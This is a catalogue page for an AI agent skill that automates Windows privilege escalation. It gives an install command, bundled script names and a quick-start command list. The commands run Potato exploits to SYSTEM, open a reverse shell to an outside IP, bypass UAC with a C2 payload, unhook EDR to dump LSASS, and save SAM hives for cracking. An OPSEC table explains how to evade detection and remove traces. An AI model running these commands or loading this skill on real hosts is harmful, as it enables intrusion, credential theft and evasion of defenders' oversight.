Privesc Windows Skill for Claude

Use when escalating privileges on a Windows host — SeImpersonate Potato chains (GodPotato/PrintNotifyPotato), service & DLL hijacking, UAC bypass (fodhelper/ICMLuaUtil), kernel EoP + BYOVD (CVE-2025-29824), token-rights abuse, LSASS/SAM/DPAPI credential harvesting

22k tokens

context cost

the whole folder, loaded on every use

files

ships runnable scripts

copies elsewhere

how many repositories repackaged it

334

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/hypnguyen1209/offensive-claude --skill privesc-windows

What comes with it

75 835 bytes besides the instruction

references/credential-harvesting.md

references/enumeration-triage.md

references/kernel-byovd.md

references/service-dll-hijacking.md

references/token-impersonation-potatoes.md

references/uac-bypass.md

scripts/byovd_loader.c

scripts/check_potato.py

scripts/service_hijack_audit.ps1

scripts/uac_bypass.ps1

scripts/win_privesc_triage.ps1

The instruction itself

6 sections, as written by the author

Windows Privilege Escalation

When to Activate

Gained an initial shell / foothold on Windows and need to reach Administrator or NT AUTHORITY\SYSTEM
Shell runs as a service account (IIS APPPOOL, MSSQL, Local/Network Service) holding SeImpersonatePrivilege
Standard-user → admin via UAC bypass (medium → high integrity) on a local-admin-group member
Service / DLL / scheduled-task misconfiguration hunting on the host
Kernel EoP via an unpatched local CVE or Bring-Your-Own-Vulnerable-Driver (admin → kernel/PPL)
Privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug)
Local credential harvesting (LSASS, SAM/SYSTEM, DPAPI) to fuel lateral movement

Technique Map

|-----------|--------|-----|-----------|--------|

| LSASS dump (comsvcs / PssCaptureSnapshot / nanodump) | T1003.001 | CWE-522 | references/credential-harvesting.md | - |

| SAM/SYSTEM + VSS offline secretsdump | T1003.002 | CWE-522 | references/credential-harvesting.md | - |

| DPAPI / credential vault / browser secrets | T1555.004, T1555.003 | CWE-522 | references/credential-harvesting.md | - |

Quick Start

# 0. Identity + token rights — this decides the whole strategy
whoami /priv /groups
powershell -ep bypass -File scripts/win_privesc_triage.ps1 -Quick

# 1. Full automated enumeration (pick the AV-safest)
.\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report pc_%COMPUTERNAME% -Format TXT,HTML
.\Seatbelt.exe -group=all -full        # build it yourself; do not trust prebuilt binaries
.\winPEASany_ofs.bat                    # .bat variant is less AV-flagged than the .exe

# 2a. Service-account shell with SeImpersonate* -> Potato to SYSTEM
python3 scripts/check_potato.py --priv "$(whoami /priv)"   # picks the right Potato for the host
.\GodPotato-NET4.exe -cmd "cmd /c whoami"                  # Server 2012-2022, no outbound
.\SigmaPotato.exe --revshell 10.10.14.5 443                # fileless .NET-reflection variant
# stripped token (Local/Network Service)? recover privileges first:
.\FullPowers.exe -c "C:\Windows\Tasks\GodPotato-NET4.exe -cmd cmd" -z

# 2b. No SeImpersonate -> hunt service/DLL/scheduled-task misconfig
powershell -ep bypass -File scripts/service_hijack_audit.ps1   # unquoted/weak-ACL/writable-bin/PATH

# 2c. Standard user in local-admin group, UAC on -> bypass to high integrity
powershell -ep bypass -File scripts/uac_bypass.ps1 -Method fodhelper -Payload "cmd.exe /c <c2>"

# 2d. Already admin -> kernel/PPL via BYOVD; then harvest creds
#     (verify driver is NOT on Microsoft blocklist for the build first)
.\EDRSandblast.exe --kernelmode dump_lsass --usermode unhook

# 3. Credentials (run from SYSTEM/admin) — see references/credential-harvesting.md for the PssCaptureSnapshot
#    / comsvcs MiniDump / nanodump tradecraft and OPSEC (parse the dump OFF-host).
pypykatz lsa minidump lsass.dmp                           # parse an acquired dump offline, off-host
reg save HKLM\SAM sam.bak & reg save HKLM\SYSTEM sys.bak  # impacket-secretsdump -sam sam.bak -system sys.bak LOCAL

OPSEC & Detection (summary)

|-----------|-----------------|--------------------------|------------|

| winPEAS/Seatbelt enum | Mass reg/WMI/service queries; winPEAS.exe on disk (heavily AV-flagged) | EDR hacktool sigs on winPEAS/Seatbelt names+hashes | Build Seatbelt yourself; prefer .bat/obfuscated winPEAS or PrivescCheck.ps1 in-memory |

| Potato (Impersonate) | DCOM/OXID RPC, named-pipe create; SYSTEM child of IIS/MSSQL worker | Sigma win_susp_potato; 4674/4688 child SYSTEM under w3wp/sqlservr | Match the COM/RPC surface left open; PrintNotifyPotato avoids RPC redirector that Defender blocks |

| Service hijack | 7045 service install; sc config binpath change; service binary write | Sigma win_susp_service_path/sc_config; 4697/7045 + new binary hash | Restore original binPath/binary after; stage payload outside C:\Windows |

| DLL/phantom hijack | Non-MS DLL loaded by SYSTEM process from writable/ProgramData/%PATH% dir | Elastic phantom_dll; Sysmon EID 7 unsigned DLL in odd path | Proxy the real DLL to keep app stable; clean the planted DLL post-exec |

| UAC bypass | HKCU ms-settings/mscfile shell\open\command writes; fodhelper child cmd | Elastic LUA://HdAutoAp token attr; Sigma fodhelper/eventvwr reg hijack | Use reg symlink + key rename (UACME m3.5+); delete HKCU keys immediately after trigger |

| Kernel EoP / BYOVD | New 3rd-party .sys load (7045/6); SYSTEM token on low-priv proc; EDR driver unload | Sigma vuln_driver_load; MS Vulnerable Driver Blocklist; ETWTi token-swap | Driver load is loud + persistent — confirm not blocklisted; unload + delete .sys; restore LSTAR/MSR |

| LSASS dump | Handle to lsass w/ PROCESS_VM_READ/DUP; comsvcs MiniDump cmdline; .dmp on disk | Sysmon EID 10 callstack dbghelp/dbgcore; Splunk comsvcs MiniDump; Elastic PssCaptureSnapshot | Use snapshot/handle-dup + parse off-host; avoid lsass.dmp literal name; clean the dump |

| SAM/VSS | reg save HKLM\SAM; vssadmin create shadow; GLOBALROOT copies | Sigma reg_save_sam; 8222 VSS; vssadmin process creation | Delete shadow + .bak hives; parse offline with secretsdump LOCAL |

| DPAPI/vault | Reads of \Microsoft\Protect\* masterkeys + \Credentials\* blobs | EDR access to DPAPI dirs; lsass dpapi:: calls | Decrypt off-host with masterkey/domain backup key; touch only target user's blobs |

Deep Dives

references/enumeration-triage.md — Decision tree from whoami /priv + groups + integrity; winPEAS/Seatbelt/PrivescCheck/SharpUp usage and AV trade-offs; token-privilege classification table; FullPowers stripped-token recovery; autologon / stored-cred / GPP / scheduled-task XML enumeration.
references/token-impersonation-potatoes.md — Token model (primary vs impersonation, levels), the full 2024-2026 Potato family (GodPotato, SigmaPotato, PrintNotifyPotato, DCOMPotato, EfsPotato, RoguePotato, PrintSpoofer, JuicyPotatoNG), per-OS selection, named-pipe + DuplicateTokenEx/CreateProcessWithTokenW primitives, detection.
references/service-dll-hijacking.md — Unquoted service path (CWE-428), weak ACL / SERVICE_CHANGE_CONFIG / writable binary, DLL search order + KnownDLLs, phantom DLL hijack with real 2025 cases (CVE-2025-1729 Lenovo TPQM, CVE-2024-28827 Checkmk), DLL-proxy stub, scheduled-task abuse.
references/uac-bypass.md — Auto-elevated binary model; fodhelper/computerdefaults/eventvwr/sdclt registry hijacks; ICMLuaUtil & IEditionUpgradeManager COM elevation (2024-2025 status); SilentCleanup env-var hijack; AlwaysInstallElevated MSI; reg-symlink evasion; LUA://HdAutoAp detection.
references/kernel-byovd.md — 2025 kernel EoP CVEs (CLFS CVE-2025-29824 & CVE-2025-32701 in-the-wild, Win32k CVE-2025-24983, kernel race CVE-2025-62215); BYOVD theory + DSE/blocklist gap; LOLDrivers, EDRSandblast, GodFault/PPLFault driverless; MSR/LSTAR ring-0; privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug).
references/credential-harvesting.md — LSASS dumping (comsvcs LOLBin, PssCaptureSnapshot, handle-dup, nanodump, direct-syscall), PPL/RunAsPPL bypass, SAM/SYSTEM + VSS shadow copy, offline secretsdump/pypykatz, DPAPI masterkeys + domain backup key, browser/credential-vault secrets, detection per method.

Other skills for the same job

different authors, same section of the catalogue

Backend Security Coder

by ComeOnOliver

×2

Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.

5k tokens

Cloud Penetration Testing

by ComeOnOliver

×2

This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.

16k tokens

Codebase Cleanup Deps Audit

by ComeOnOliver

×2

You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.

Comprehensive Flow Nexus platform management - authentication, sandboxes, app deployment, payments, and challenges

14k tokens

Linux Privilege Escalation

by ComeOnOliver

×2

This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.

Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.

This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.

7k tokens

Mobile Security Coder

by ComeOnOliver

×2

Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.

6k tokens

How to use it

Copy the folder

Take hypnguyen1209/privesc-windows from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.